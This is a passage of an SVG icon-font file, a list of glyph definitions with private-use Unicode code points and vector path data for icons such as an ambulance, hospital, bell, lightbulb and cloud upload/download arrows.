<glyph unicode="&#xf0f9;" d="M 160,32q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 64,160l 96,0 l0,64 l-39.5,0 q-3.5-0.5 -5.5-2.25l-48.75-48.75q-1.75-3 -2.25-5.5l0-7.5 zM 384,32q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375 t 22.625,9.375t 9.375,22.625zM 416,200l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,56 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-56 l-56,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-56 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,56 l 56,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 480,336l0-288  q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-96,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l0,104 q0,6.5 3.25,14.5t 8,12.75l 49.5,49.5q 4.75,4.75 12.75,8t 14.5,3.25l 40,0 l0,80 q0,6.5 4.75,11.25t 11.25,4.75l 288,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf0f8;" d="M 96,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224-32l 96,0 l0,288 l-64,0 l0-8 q0-10 -7-17t-17-7l-112,0 q-10,0 -17,7t-7,17l0,8 l-64,0 l0-288 l 96,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 zM 224,264l0,80 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-24 l-32,0 l0,24 q0,3.25 -2.375,5.625 t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-80 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,24 l 32,0 l0-24 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 352,272l0-320 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,320 q0,6.5 4.75,11.25t 11.25,4.75l 80,0  l0,72 q0,10 7,17t 17,7l 112,0 q 10,0 17-7t 7-17l0-72 l 80,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf0f7;" d="M 96,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,56l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,120l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 96,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 288,184l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 224,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 160,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,248l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,312l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-16,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 16,0 q 3.25,0 5.625-2.375t 2.375-5.625z M 224-32l 96,0 l0,384 l-288,0 l0-384 l 96,0 l0,56 q0,3.25 2.375,5.625t 5.625,2.375l 80,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-56 zM 352,368l0-416 q0-6.5 -4.75-11.25t-11.25-4.75l-320,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,416 q0,6.5 4.75,11.25t 11.25,4.75l 320,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf0f6;" d="M 256,88l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,152l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 176,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 32,0l 256,0 l0,192 l-104,0 q-10,0 -17,7t-7,17l0,104 l-128,0 l0-320 z M 192,224l 94,0 q-2.5,7.25 -5.5,10.25l-78.25,78.25q-3,3 -10.25,5.5l0-94 zM 320,216l0-224 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 160,0 q 10,0 22-5t 19-12l 78-78q 7-7 12-19t 5-22z" horiz-adv-x="320"  />
<glyph unicode="&#xf0f5;" d="M 160,368l0-160 q0-15.25 -8.875-27.75t-23.125-17.5l0-194.75 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,194.75 q-14.25,5 -23.125,17.5t-8.875,27.75l0,160 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-104 q0-6.5 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25l0,104 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25l0-104 q0-6.5 4.75-11.25 t 11.25-4.75t 11.25,4.75t 4.75,11.25l0,104 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 352,368l0-400 q0-13 -9.5-22.5t-22.5-9.5l-32,0 q-13,0 -22.5,9.5t-9.5,22.5l0,128 l-56,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,200 q0,33 23.5,56.5t 56.5,23.5l 64,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="352"  />
<glyph unicode="&#xf0f4;" d="M 416,224q0,20 -14,34t-34,14l-16,0 l0-96 l 16,0 q 20,0 34,14t 14,34zM0,32l 448,0 q0-26.5 -18.75-45.25t-45.25-18.75l-320,0 q-26.5,0 -45.25,18.75t-18.75,45.25zM 464,224q0-39.75 -28.125-67.875t-67.875-28.125l-16,0 l0-8 q0-23 -16.5-39.5t-39.5-16.5l-176,0 q-23,0 -39.5,16.5t-16.5,39.5l0,184 q0,6.5 4.75,11.25 t 11.25,4.75l 288,0 q 39.75,0 67.875-28.125t 28.125-67.875z" horiz-adv-x="480"  />
<glyph unicode="&#xf0f3;" d="M 212-40q0,4 -4,4q-14.75,0 -25.375,10.625t-10.625,25.375q0,4 -4,4t-4-4q0-18.25 12.875-31.125t 31.125-12.875q 4,0 4,4zM 416,32q0-13 -9.5-22.5t-22.5-9.5l-112,0 q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25l-112,0 q-13,0 -22.5,9.5t-9.5,22.5q 47.5,40.25 71.75,99.375t 24.25,124.625 q0,41.25 24,65.5t 66,29.25q-2,4.5 -2,9.25q0,10 7,17t 17,7t 17-7t 7-17q0-4.75 -2-9.25q 42-5 66-29.25t 24-65.5q0-65.5 24.25-124.625t 71.75-99.375z" horiz-adv-x="416"  />
<glyph unicode="&#xf0f2;" d="M 160,288l 128,0 l0,32 l-128,0 l0-32 zM 72,288l0-320 l-16,0 q-23,0 -39.5,16.5t-16.5,39.5l0,208 q0,23 16.5,39.5t 39.5,16.5l 16,0 zM 352,288l0-320 l-256,0 l0,320 l 32,0 l0,40 q0,10 7,17t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 32,0 zM 448,232l0-208 q0-23 -16.5-39.5t-39.5-16.5l-16,0 l0,320 l 16,0 q 23,0 39.5-16.5 t 16.5-39.5z"  />
<glyph unicode="&#xf0f1;" d="M 320,208q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,208q0-15.5 -8.875-27.75t-23.125-17.5l0-98.75 q0-39.75 -32.875-67.875t-79.125-28.125t-79.125,28.125t-32.875,67.875l0,33 q-41,5 -68.5,32t-27.5,63l0,128 q0,6.5 4.75,11.25t 11.25,4.75q 1.5,0 4-0.5q 4.25,7.5 11.75,12 t 16.25,4.5q 13.25,0 22.625-9.375t 9.375-22.625t-9.375-22.625t-22.625-9.375q-8.25,0 -16,4.5l0-100.5 q0-26.5 23.5-45.25t 56.5-18.75t 56.5,18.75t 23.5,45.25l0,100.5 q-7.75-4.5 -16-4.5q-13.25,0 -22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375q 8.75,0 16.25-4.5t 11.75-12q 2.5,0.5 4,0.5q 6.5,0 11.25-4.75t 4.75-11.25l0-128 q0-36 -27.5-63 t-68.5-32l0-33 q0-26.5 23.5-45.25t 56.5-18.75t 56.5,18.75t 23.5,45.25l0,98.75 q-14.25,5.25 -23.125,17.5t-8.875,27.75q0,20 14,34t 34,14t 34-14t 14-34z" horiz-adv-x="352"  />
<glyph unicode="&#xf0f0;" d="M 96,48q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25zM 352,32.75q0-30.25 -18.25-47.5t-48.5-17.25l-218.5,0 q-30.25,0 -48.5,17.25t-18.25,47.5q0,17 1.375,32.75t 6,34.5t 11.875,33.125t 20.25,25.75t 30,15.125q-5.5-13 -5.5-30l0-50.75 q-14.5-5 -23.25-17.5t-8.75-27.75q0-20 14-34t 34-14 t 34,14t 14,34q0,15.25 -8.875,27.75t-23.125,17.5l0,50.75 q0,15.5 6.25,23.25q 33-26 73.75-26t 73.75,26q 6.25-7.75 6.25-23.25l0-16 q-26.5,0 -45.25-18.75t-18.75-45.25l0-22.25 q-8-7.25 -8-17.75q0-10 7-17t 17-7t 17,7t 7,17q0,10.5 -8,17.75l0,22.25 q0,13 9.5,22.5t 22.5,9.5t 22.5-9.5t 9.5-22.5l0-22.25 q-8-7.25 -8-17.75q0-10 7-17 t 17-7t 17,7t 7,17q0,10.5 -8,17.75l0,22.25 q0,17 -8.625,31.875t-23.375,23.375q0,2.5 0.125,10.625t0,12t-0.625,10.375t-1.75,11.75t-3.25,10q 17-3.75 30-15.125t 20.25-25.75t 11.875-33.125t 6-34.5t 1.375-32.75zM 272,256q0-39.75 -28.125-67.875t-67.875-28.125t-67.875,28.125t-28.125,67.875t 28.125,67.875t 67.875,28.125 t 67.875-28.125t 28.125-67.875z" horiz-adv-x="352"  />
<glyph unicode="&#xf0ee;" d="M 320,168q0,3.5 -2.25,5.75l-88,88q-2.25,2.25 -5.75,2.25t-5.75-2.25l-87.75-87.75q-2.5-3 -2.5-6q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-88 q0-3.25 2.375-5.625t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,88 l 56,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0  q-46.25,0 -79.125,32.875t-32.875,79.125q0,32.5 17.5,60t 47,41.25q-0.5,7.5 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39,0 71.375-21.75t 47.125-57.75q 17.75,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-19 -10.25-34.5q 32.5-7.75 53.375-33.875t 20.875-59.625z" horiz-adv-x="480"  />
<glyph unicode="&#xf0ed;" d="M 320,152q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,88 q0,3.25 -2.375,5.625t-5.625,2.375l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-88 l-56,0 q-3.25,0 -5.625-2.375t-2.375-5.625q0-3.5 2.25-5.75l 88-88q 2.25-2.25 5.75-2.25t 5.75,2.25l 87.75,87.75q 2.5,3 2.5,6zM 480,96q0-39.75 -28.125-67.875t-67.875-28.125l-272,0  q-46.25,0 -79.125,32.875t-32.875,79.125q0,32.5 17.5,60t 47,41.25q-0.5,7.5 -0.5,10.75q0,53 37.5,90.5t 90.5,37.5q 39,0 71.375-21.75t 47.125-57.75q 17.75,15.5 41.5,15.5q 26.5,0 45.25-18.75t 18.75-45.25q0-19 -10.25-34.5q 32.5-7.75 53.375-33.875t 20.875-59.625z" horiz-adv-x="480"  />
<glyph unicode="&#xf0ec;" d="M 448,88l0-48 q0-3.25 -2.375-5.625t-5.625-2.375l-344,0 l0-48 q0-3.25 -2.375-5.625t-5.625-2.375q-3,0 -6,2.5l-79.75,80q-2.25,2.25 -2.25,5.5q0,3.5 2.25,5.75l 80,80q 2.25,2.25 5.75,2.25q 3.25,0 5.625-2.375t 2.375-5.625l0-48 l 344,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 448,224q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 l-344,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q0,3.25 2.375,5.625t 5.625,2.375l 344,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75z"  />
<glyph unicode="&#xf0eb;" d="M 184,240q0-3.25 -2.375-5.625t-5.625-2.375t-5.625,2.375t-2.375,5.625q0,11.5 -13.5,17.75t-26.5,6.25q-3.25,0 -5.625,2.375t-2.375,5.625t 2.375,5.625t 5.625,2.375q 12.5,0 24.875-4t 21.75-13.5t 9.375-22.5zM 224,240q0,18 -8.625,33.5t-22.5,25.375t-30.75,15.5t-34.125,5.625t-34.125-5.625t-30.75-15.5t-22.5-25.375t-8.625-33.5 q0-25.25 17-45q 2.5-2.75 7.625-8.25t 7.625-8.25q 32-38.25 35.25-74.5l 57,0 q 3.25,36.25 35.25,74.5q 2.5,2.75 7.625,8.25t 7.625,8.25q 17,19.75 17,45zM 256,240q0-38.75 -25.75-67q-11.25-12.25 -18.625-21.75t-14.875-23.875t-8.5-26.875q 11.75-7 11.75-20.5q0-9.25 -6.25-16q 6.25-6.75 6.25-16q0-13 -11.25-20.25q 3.25-5.75 3.25-11.75 q0-11.5 -7.875-17.75t-19.375-6.25q-5-11 -15-17.5t-21.75-6.5t-21.75,6.5t-15,17.5q-11.5,0 -19.375,6.25t-7.875,17.75q0,6 3.25,11.75q-11.25,7.25 -11.25,20.25q0,9.25 6.25,16q-6.25,6.75 -6.25,16q0,13.5 11.75,20.5q-1,12.5 -8.5,26.875t-14.875,23.875t-18.625,21.75q-25.75,28.25 -25.75,67q0,24.75 11.125,46.125t 29.25,35.5t 41,22.25t 46.625,8.125 t 46.625-8.125t 41-22.25t 29.25-35.5t 11.125-46.125z" horiz-adv-x="256"  />
<glyph unicode="&#xf0ea;" d="M 192-32l 224,0 l0,160 l-104,0 q-10,0 -17,7t-7,17l0,104 l-96,0 l0-288 zM 256,328l0,16 q0,3.25 -2.375,5.625t-5.625,2.375l-176,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-16 q0-3.25 2.375-5.625t 5.625-2.375l 176,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 320,160l 74.75,0 l-74.75,74.75l0-74.75 zM 448,128l0-168 q0-10 -7-17t-17-7 l-240,0 q-10,0 -17,7t-7,17l0,40 l-136,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 272,0 q 10,0 17-7t 7-17l0-82 q 5.25-3.25 9-7l 102-102q 7-7 12-19t 5-22z"  />
<glyph unicode="&#xf0e9;" d="M 224,177l0-145 q0-26 -19-45t-45-19t-45,19t-19,45q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25q0-12.5 9.75-22.25t 22.25-9.75t 22.25,9.75t 9.75,22.25l0,145 q 8.25,2.75 16,2.75t 16-2.75zM 416,170.25q0-3.25 -2.375-5.625t-5.625-2.375q-2.75,0 -5.75,2.5q-12.25,11.5 -23.25,17.25t-25.5,5.75q-17,0 -32-9.25t-25.75-24.25 q-1.75-2.5 -4.375-7t-3.625-6q-2.75-4.25 -7-4.25q-4.5,0 -7.25,4.25q-1,1.5 -3.625,6t-4.375,7q-10.75,15 -25.625,24.25t-31.875,9.25t-31.875-9.25t-25.625-24.25q-1.75-2.5 -4.375-7t-3.625-6q-2.75-4.25 -7.25-4.25q-4.25,0 -7,4.25q-1,1.5 -3.625,6t-4.375,7q-10.75,15 -25.75,24.25t-32,9.25q-14.5,0 -25.5-5.75t-23.25-17.25 q-3-2.5 -5.75-2.5q-3.25,0 -5.625,2.375t-2.375,5.625q0,1.25 0.25,1.75q 11.25,45.75 43.125,79.875t 74.5,51.125t 90.125,17q 35,0 68.625-10t 61.625-28.375t 48.625-46.75t 28.875-62.875q 0.25-0.5 0.25-1.75zM 224,352l0-24.5 q-10.5,0.5 -16,0.5t-16-0.5l0,24.5 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75t 4.75-11.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf0e8;" d="M 448,72l0-80 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 l-128,0 l0-48 l 24,0 q 10,0 17-7t 7-17l0-80 q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 l-128,0 l0-48 l 24,0 q 10,0 17-7t 7-17l0-80  q0-10 -7-17t-17-7l-80,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 24,0 l0,48 q0,13 9.5,22.5t 22.5,9.5l 128,0 l0,48 l-24,0 q-10,0 -17,7t-7,17l0,80 q0,10 7,17t 17,7l 80,0 q 10,0 17-7t 7-17l0-80 q0-10 -7-17t-17-7l-24,0 l0-48 l 128,0 q 13,0 22.5-9.5t 9.5-22.5l0-48 l 24,0 q 10,0 17-7t 7-17 z"  />
<glyph unicode="&#xf0e7;" d="M 221.25,242.5q 4.5-5 1.75-11l-135-289.25q-3.25-6.25 -10.5-6.25q-1,0 -3.5,0.5q-4.25,1.25 -6.375,4.75t-1.125,7.5l 49.25,202l-101.5-25.25q-1-0.25 -3-0.25q-4.5,0 -7.75,2.75q-4.5,3.75 -3.25,9.75l 50.25,206.25q 1,3.5 4,5.75t 7,2.25l 82,0 q 4.75,0 8-3.125t 3.25-7.375q0-2 -1.25-4.5l-42.75-115.75l 99,24.5q 2,0.5 3,0.5q 4.75,0 8.5-3.75z" horiz-adv-x="224"  />
<glyph unicode="&#xf0e6;" d="M 176,288q-38.25,0 -71.5-13t-52.875-35.25t-19.625-47.75q0-20.5 13.25-39.5t 37.25-33l 24.25-14l-8.75-21q 8.5,5 15.5,9.75l 11,7.75l 13.25-2.5q 19.5-3.5 38.25-3.5q 38.25,0 71.5,13t 52.875,35.25t 19.625,47.75t-19.625,47.75t-52.875,35.25t-71.5,13zM 176,320q 47.75,0 88.375-17.125t 64.125-46.625t 23.5-64.25t-23.5-64.25 t-64.125-46.625t-88.375-17.125q-21.5,0 -44,4q-31-22 -69.5-32q-9-2.25 -21.5-4l-0.75,0 q-2.75,0 -5.125,2t-2.875,5.25q-0.25,0.75 -0.25,1.625t 0.125,1.625t 0.5,1.5l 0.625,1.25t 0.875,1.375t 1,1.25t 1.125,1.25t 1,1.125q 1.25,1.5 5.75,6.25t 6.5,7.375t 5.625,7.25t 6.25,9.625t 5.125,11q-31,18 -48.75,44.25t-17.75,56q0,34.75 23.5,64.25t 64.125,46.625 t 88.375,17.125zM 381.5,27.75q 2.5-6 5.125-11t 6.25-9.625t 5.625-7.25t 6.5-7.375t 5.75-6.25q 0.25-0.25 1-1.125t 1.125-1.25t 1-1.25t 0.875-1.375l 0.625-1.25t 0.5-1.5t 0.125-1.625t-0.25-1.625q-0.75-3.5 -3.25-5.5t-5.5-1.75q-12.5,1.75 -21.5,4q-38.5,10 -69.5,32q-22.5-4 -44-4q-67.75,0 -118,33q 14.5-1 22-1q 40.25,0 77.25,11.25t 66,32.25 q 31.25,23 48,53t 16.75,63.5q0,19.25 -5.75,38q 32.25-17.75 51-44.5t 18.75-57.5q0-30 -17.75-56.125t-48.75-44.125z"  />
<glyph unicode="&#xf0e5;" d="M 224,288q-51,0 -95.375-17.375t-70.5-46.875t-26.125-63.75q0-28 17.875-53.375t 50.375-43.875l 21.75-12.5l-6.75-24q-6-22.75 -17.5-43q 38,15.75 68.75,42.75l 10.75,9.5l 14.25-1.5q 17.25-2 32.5-2q 51,0 95.375,17.375t 70.5,46.875t 26.125,63.75t-26.125,63.75t-70.5,46.875t-95.375,17.375zM 448,160 q0-43.5 -30-80.375t-81.5-58.25t-112.5-21.375q-17.5,0 -36.25,2q-49.5-43.75 -115-60.5q-12.25-3.5 -28.5-5.5l-1.25,0 q-3.75,0 -6.75,2.625t-4,6.875l0,0.25 q-0.75,1 -0.125,3t 0.5,2.5t 1.125,2.375l 1.5,2.25t 1.75,2.125t 2,2.25q 1.75,2 7.75,8.625t 8.625,9.5t 7.75,9.875t 8.125,12.75t 6.75,14.75t 6.5,19q-39.25,22.25 -61.875,55t-22.625,70.25q0,43.5 30,80.375 t 81.5,58.25t 112.5,21.375t 112.5-21.375t 81.5-58.25t 30-80.375z"  />
<glyph unicode="&#xf0e4;" d="M 96,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 144,208q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 251,87.75l 25.25,95.5q 1.5,6.5 -1.875,12.125t-9.625,7.375 t-12-1.625t-7.5-9.875l-25.25-95.5q-15-1.25 -26.75-10.875t-15.75-24.625q-5-19.25 5-36.5t 29.25-22.25t 36.5,5t 22.25,29.25q 4,15 -1.5,29.25t-18,22.75zM 416,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 256,256q0,13.25 -9.375,22.625 t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 368,208q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 448,96q0-65.25 -35.25-120.75q-4.75-7.25 -13.5-7.25l-350.5,0 q-8.75,0 -13.5,7.25 q-35.25,55.25 -35.25,120.75q0,45.5 17.75,87t 47.75,71.5t 71.5,47.75t 87,17.75t 87-17.75t 71.5-47.75t 47.75-71.5t 17.75-87z"  />
